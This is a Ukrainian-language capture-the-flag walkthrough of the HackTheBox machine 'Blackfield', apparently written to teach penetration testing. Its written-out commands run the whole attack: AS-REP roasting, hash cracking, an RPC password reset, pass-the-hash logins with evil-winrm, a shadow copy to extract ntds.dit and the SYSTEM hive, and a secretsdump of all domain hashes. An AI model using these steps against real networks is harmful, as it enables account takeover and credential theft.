
Завдання «Blackfield» на HackTheBox ідеально підходить для вдосконалення навичок пентестингу. Ви навчитесь використовувати nmap, працювати з Active Directory та підвищувати привілеї у Windows-системах за допомогою mimikatz і Evil-WinRM.
У статті описано застосування ASRep Roasting для визначення користувачів, використання RPC для зміни пароля та захоплення облікового запису, а також підвищення привілеїв завдяки тіньовій копії NTDS.DIT.
Підключення до лабораторії здійснюється через VPN. З міркувань безпеки не рекомендується використовувати робочий комп’ютер або пристрої з важливими даними, оскільки підключення відбувається до приватної мережі з досвідченими фахівцями у сфері інформаційної безпеки.
Ця машина має IP адресу 10.10.10.192, яку я додаємо в /etc/hosts.
10.10.10.192 blackfield.htb
Насамперед виконується сканування відкритих портів за допомогою скрипта, який приймає один аргумент — адресу хоста для сканування:
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1
Бачимо багато відкритих портів, але як завжди почнемо з SMB.
smbmap -u anonymous -H 10.10.10.192
І нам доступна для читання директорія profiles$.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2
Маємо великий перелік можливих користувачів. Ми можемо перевірити, які користувачі є реально присутніми в системі. Справа в тому, що при атаці ASRep Roasting, сервер має три різні відповіді:
хеш пароля користувача;
цей користувач не має UAF Dont Require PreAuth;
такого користувача немає у базі Kerberos.
Таким чином, ми зможемо дізнатися, хто є, а кого ні.
Спочатку отримаємо список.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt
А тепер виконаємо ASRep-Roasting.
GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt
Було несподівано отримати хеш у відповідь. Наступним кроком є його злам.
john support.hash -w=./tools/rockyou.txt
І ми маємо цілий підконтрольний обліковий запис. Тепер давайте отримаємо якомога більше інформації за допомогою enum4linux.
enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null
rpcclient 10.10.10.192 -U support
Особливістю є можливість змінити пароль користувача, що має такі ж привілеї. Цей метод докладно описаний у джерелах, і він успішно застосований для користувача audit2020.
setuserinfo2 audit2020 18 'ralf'
Тепер починаємо аналіз усіх ресурсів та служб спочатку, тому що у нас з’явився ще один підконтрольний обліковий запис.
Ідемо на SMB.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192
Дуже багато можна читати, краще вивести весь вміст рекурсивно та переглянути за один раз.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R
В папці forensic\memory_analysis знаходимо, мабуть, дамп процесу lsass. А з нього ми можемо отримати паролі за допомогою mimikatz. Завантажуємо цей файл.
smbclient.py blackfield.local/audit2020:[email protected]
Тепер перейдемо у Windows машину та використовуємо mimikatz.
Знаючи хеш, за допомогою Evil-WinRM підключаємося від імені svc_backup.
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
Давайте подивимося групи та привілеї користувача.
Маємо привілей SeBackupPrivilege. Це дає нам право створювати тіньову копію файлу NTDS, який містить велику кількість облікових даних. Після того, як створимо копію, ми не можемо просто вийняти необхідний файл. Для цього нам знадобиться такі DLL бібліотеки .
Давайте зробимо тіньову копію. Створимо файл із таким вмістом.
SET CONTEXT PERSISTENT NOWRITERS add volume c: alias ralfcopy create expose %ralfcopy% z:
І тепер завантажимо його та завантажені бібліотеки на хост.
Виконаємо тіньове копіювання.
diskshadow /s ds.txt
І дамо файл.
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
Файл зашифрований, і для його розшифрування потрібен файл SYSTEM, отримання якого не становить складнощів.
reg save HKLM\SYSTEM C:\Temp\SYSTEM
Завантажуємо обидва файли з машини.
Дістаємо хеші за допомогою утиліти secretsdump із пакета impacket.
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Підключимося від імені адміністратора.
evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee
Повний контроль над цією машиною отримано.
Було продемонстровано використання ASRep Roasting для визначення користувачів, RPC для зміни пароля, secretsdump із пакета impacket для вилучення хешів і роботу з тіньовою копією NTDS.DIT. Висвітлені підходи показали технічну компетенцію в області пентестингу та інформаційної безпеки.